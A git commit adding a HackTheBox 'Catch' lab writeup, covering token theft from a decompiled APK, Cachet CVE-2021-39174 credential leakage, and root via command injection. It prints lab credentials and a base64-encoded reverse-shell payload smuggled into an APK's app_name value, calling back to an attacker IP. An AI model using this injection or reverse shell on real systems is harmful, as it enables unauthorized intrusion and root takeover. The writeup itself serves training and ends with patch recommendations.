This commit is contained in:
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,251 @@
|
||||
---
|
||||
title: "Writeup - Catch (HTB)"
|
||||
date: 2022-04-30
|
||||
slug: "writeup-catch-htb"
|
||||
type: "writeup-ctf"
|
||||
---
|
||||
|
||||
This is a writeup for the [Catch](https://app.hackthebox.com/machines/Catch) machine on the HackTheBox site.
|
||||
|
||||
## Enumeration
|
||||
|
||||
First, let's start with a scan of our target with the following command:
|
||||
|
||||
|
||||
```bash
|
||||
nmap -sV -sC -O -T4 -n -Pn -oA fastscan 10.129.180.130
|
||||
```
|
||||
Five TCP ports are discovered:
|
||||
|
||||

|
||||
|
||||
- 22/tcp : SSH port (OpenSSH 8.2p1)
|
||||
- 80/tcp : HTTP web server (Apache 2.4.41)
|
||||
- 3000 : Gitea 1.14.1
|
||||
- 5000 : let's Chat
|
||||
- 8000 : Cachet (Apache 2.4.41)
|
||||
|
||||

|
||||
|
||||
## Exploit
|
||||
|
||||
At first I start by scanning the files of the site.
|
||||
|
||||

|
||||
|
||||
Nothing particular, by going on the site, there is the possibility of downloading an application: `catchv1.0.apk`. So I download it, then I unpack it with the following command:
|
||||
|
||||
|
||||
```bash
|
||||
apktool d catchv1.0.apk
|
||||
```
|
||||
Then I look for passwords, tokens, ...
|
||||
|
||||
|
||||
```bash
|
||||
┌──(d3vyce㉿kali)-[~/catchv1.0]
|
||||
└─$ find ./ -type f -exec grep -H 'token' {} \;
|
||||
./res/values/strings.xml: <string name="gitea_token">b87bfb6345ae72ed5ecdcee05bcb34c83806fbd0</string>
|
||||
./res/values/strings.xml: <string name="lets_chat_token">NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==</string>
|
||||
./res/values/strings.xml: <string name="slack_token">xoxp-23984754863-2348975623103</string>
|
||||
[...]
|
||||
```
|
||||
We find 2 tokens, one is for gitea and the other is for lets chat. I choose to start with the second one. At first I generate a request with the help of Burp. Then after some research I find on this [site](https://stackoverflow.com/questions/37302448/lets-chat-authentication-via-ajax-request) that to add a token to the request it is necessary to use `Authorisation: bearer [TOKEN]`. Now that I have the authorization, I start by listing the different rooms:
|
||||
|
||||
|
||||
```bash
|
||||
GET /rooms HTTP/1.1
|
||||
Host: catch.htb:5000
|
||||
Cache-Control: max-age=0
|
||||
Upgrade-Insecure-Requests: 1
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: en-US,en;q=0.9
|
||||
Authorisation: bearer NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ
|
||||
Cookie: connect.sid=s%3APQgPB6T9iE4OkwoXsVLWBTYYv__899Ny.v%2BdKrRNFbDrEQkPjm0kAoxdQfi6%2BsTB0AmPQ1q%2BnKns
|
||||
If-None-Match: W/"35c-aAImKzSV1mWHmtGLu5/YkMt+2hk"
|
||||
Connection: close
|
||||
```
|
||||
|
||||
```bash
|
||||
HTTP/1.1 200 OK
|
||||
X-Frame-Options: SAMEORIGIN
|
||||
X-Download-Options: noopen
|
||||
X-Content-Type-Options: nosniff
|
||||
X-XSS-Protection: 1; mode=block
|
||||
Content-Security-Policy:
|
||||
X-UA-Compatible: IE=Edge,chrome=1
|
||||
Content-Type: application/json; charset=utf-8
|
||||
ETag: W/"35c-aAImKzSV1mWHmtGLu5/YkMt+2hk"
|
||||
Vary: Accept-Encoding
|
||||
Date: Fri, 22 Apr 2022 10:31:05 GMT
|
||||
Connection: close
|
||||
Content-Length: 860
|
||||
|
||||
[{"id":"61b86b28d984e2451036eb17","slug":"status","name":"Status","description":"Cachet Updates and Maintenance","lastActive":"2021-12-14T10:34:20.749Z","created":"2021-12-14T10:00:08.384Z","owner":"61b86aead984e2451036eb16","private":false,"hasPassword":false,"participants":[]},
|
||||
{"id":"61b8708efe190b466d476bfb","slug":"android_dev","name":"Android Development","description":"Android App Updates, Issues & More","lastActive":"2021-12-14T10:24:21.145Z","created":"2021-12-14T10:23:10.474Z","owner":"61b86aead984e2451036eb16","private":false,"hasPassword":false,"participants":[]},
|
||||
{"id":"61b86b3fd984e2451036eb18","slug":"employees","name":"Employees","description":"New Joinees, Org updates","lastActive":"2021-12-14T10:18:04.710Z","created":"2021-12-14T10:00:31.043Z","owner":"61b86aead984e2451036eb16","private":false,"hasPassword":false,"participants":[]}]
|
||||
```
|
||||
I find in the result 3 rooms. I try now to list the messages included in the first room. For that I use the following query:
|
||||
|
||||
|
||||
```bash
|
||||
GET /rooms/61b86b28d984e2451036eb17/messages HTTP/1.1
|
||||
```
|
||||
I find several messages including this one:
|
||||
|
||||
|
||||
```bash
|
||||
[...]
|
||||
"id":"61b8702dfe190b466d476bfa","text":"Here are the credentials `john : E}V!mywu_69T4C}W`",
|
||||
"posted":"2021-12-14T10:21:33.859Z",
|
||||
"owner":"61b86f15fe190b466d476bf5",
|
||||
"room":"61b86b28d984e2451036eb17"
|
||||
[...]
|
||||
```
|
||||
A password and a login! I try to use it on the site hosted on port 8000 :
|
||||
|
||||

|
||||
|
||||
I find that the panel is version 2.4.0 of Cachet. After some research I find the CVE-2021-39174 which allows to obtain the contents of the variable `DB_username` and `DB_password`. For that I go in the notification parameters I set `Mail Driver` to SMTP. Then I fill `Mail From Address` with the following content: `${DB_username}`. I save and I refresh the page.
|
||||
|
||||
I repeat the same procedure for the password.
|
||||
|
||||

|
||||
|
||||
Finally I find the following credentials: `will / s2#4Fg0_%3!`
|
||||
|
||||
I now have SSH access with the user will and I can get the first flag.
|
||||
|
||||

|
||||
|
||||
## Privilege escalation
|
||||
|
||||
I start by running the [linpeas.sh](https://linpeas.sh) script to get an overview of the machine. I quickly find a script belonging to root but that I can read.
|
||||
|
||||

|
||||
|
||||
|
||||
```bash
|
||||
#!/bin/bash
|
||||
|
||||
###################
|
||||
# Signature Check #
|
||||
###################
|
||||
|
||||
sig_check() {
|
||||
jarsigner -verify "$1/$2" 2>/dev/null >/dev/null
|
||||
if [[ $? -eq 0 ]]; then
|
||||
echo '[+] Signature Check Passed'
|
||||
else
|
||||
echo '[!] Signature Check Failed. Invalid Certificate.'
|
||||
cleanup
|
||||
exit
|
||||
fi
|
||||
}
|
||||
|
||||
#######################
|
||||
# Compatibility Check #
|
||||
#######################
|
||||
|
||||
comp_check() {
|
||||
apktool d -s "$1/$2" -o $3 2>/dev/null >/dev/null
|
||||
COMPILE_SDK_VER=$(grep -oPm1 "(?<=compileSdkVersion=\")[^\"]+" "$PROCESS_BIN/AndroidManifest.xml")
|
||||
if [ -z "$COMPILE_SDK_VER" ]; then
|
||||
echo '[!] Failed to find target SDK version.'
|
||||
cleanup
|
||||
exit
|
||||
else
|
||||
if [ $COMPILE_SDK_VER -lt 18 ]; then
|
||||
echo "[!] APK Doesn't meet the requirements"
|
||||
cleanup
|
||||
exit
|
||||
fi
|
||||
fi
|
||||
}
|
||||
|
||||
####################
|
||||
# Basic App Checks #
|
||||
####################
|
||||
|
||||
app_check() {
|
||||
APP_NAME=$(grep -oPm1 "(?<=<string name=\"app_name\">)[^<]+" "$1/res/values/strings.xml")
|
||||
echo $APP_NAME
|
||||
if [[ $APP_NAME == *"Catch"* ]]; then
|
||||
echo -n $APP_NAME|xargs -I {} sh -c 'mkdir {}'
|
||||
mv "$3/$APK_NAME" "$2/$APP_NAME/$4"
|
||||
else
|
||||
echo "[!] App doesn't belong to Catch Global"
|
||||
cleanup
|
||||
exit
|
||||
fi
|
||||
}
|
||||
|
||||
|
||||
###########
|
||||
# Cleanup #
|
||||
###########
|
||||
|
||||
cleanup() {
|
||||
rm -rf $PROCESS_BIN;rm -rf "$DROPBOX/*" "$IN_FOLDER/*";rm -rf $(ls -A /opt/mdm | grep -v apk_bin | grep -v verify.sh)
|
||||
}
|
||||
|
||||
|
||||
###################
|
||||
# MDM CheckerV1.0 #
|
||||
###################
|
||||
|
||||
DROPBOX=/opt/mdm/apk_bin
|
||||
IN_FOLDER=/root/mdm/apk_bin
|
||||
OUT_FOLDER=/root/mdm/certified_apps
|
||||
PROCESS_BIN=/root/mdm/process_bin
|
||||
|
||||
for IN_APK_NAME in $DROPBOX/*.apk;do
|
||||
OUT_APK_NAME="$(echo ${IN_APK_NAME##*/} | cut -d '.' -f1)_verified.apk"
|
||||
APK_NAME="$(openssl rand -hex 12).apk"
|
||||
if [[ -L "$IN_APK_NAME" ]]; then
|
||||
exit
|
||||
else
|
||||
mv "$IN_APK_NAME" "$IN_FOLDER/$APK_NAME"
|
||||
fi
|
||||
sig_check $IN_FOLDER $APK_NAME
|
||||
comp_check $IN_FOLDER $APK_NAME $PROCESS_BIN
|
||||
app_check $PROCESS_BIN $OUT_FOLDER $IN_FOLDER $OUT_APK_NAME
|
||||
done
|
||||
cleanup
|
||||
```
|
||||
In this script one part is particularly interesting:
|
||||
|
||||
|
||||
```bash
|
||||
if [[ $APP_NAME == *"Catch"* ]]; then
|
||||
echo -n $APP_NAME|xargs -I {} sh -c 'mkdir {}'
|
||||
mv "$3/$APK_NAME" "$2/$APP_NAME/$4"
|
||||
```
|
||||
The script checks that the word `Catch` is present in the `app_name` variable of the apk file. But what is interesting is that we can put what we want before or after. I go back to the application folder that I had decompiled before. Then in the file `res/values/strings.xml` I modify the value of `app_name`.
|
||||
|
||||
|
||||
```bash
|
||||
[...]
|
||||
<string name="app_name">Catch|echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjQvMTIzNCAwPiYxCg== | base64 -d | bash -i</string>
|
||||
[...]
|
||||
```
|
||||
After adding a reverse shell, I recompile the application with the following command:
|
||||
|
||||

|
||||
|
||||
{{< alert >}}
|
||||
You need apktool [v2.6.1](https://github.com/iBotPeaches/Apktool/releases/tag/v2.6.1) to do this !I now run the verification script. Then I get a reverse shell as root and I can get the last flag.
|
||||
{{< /alert >}}
|
||||
|
||||

|
||||
|
||||
## Recommendations
|
||||
|
||||
To patch this host I think it would be necessary to perform a number of actions:
|
||||
|
||||
- Do not leave tokens with access to sensitive content in an application available to all
|
||||
- Update Cache to avoid CVE-2021-39174 exploit
|
||||
- Do not use the same password for the database and a machine user
|
||||
- Use a stricter check for the `app_name` variable
|
||||
Reference in New Issue
Block a user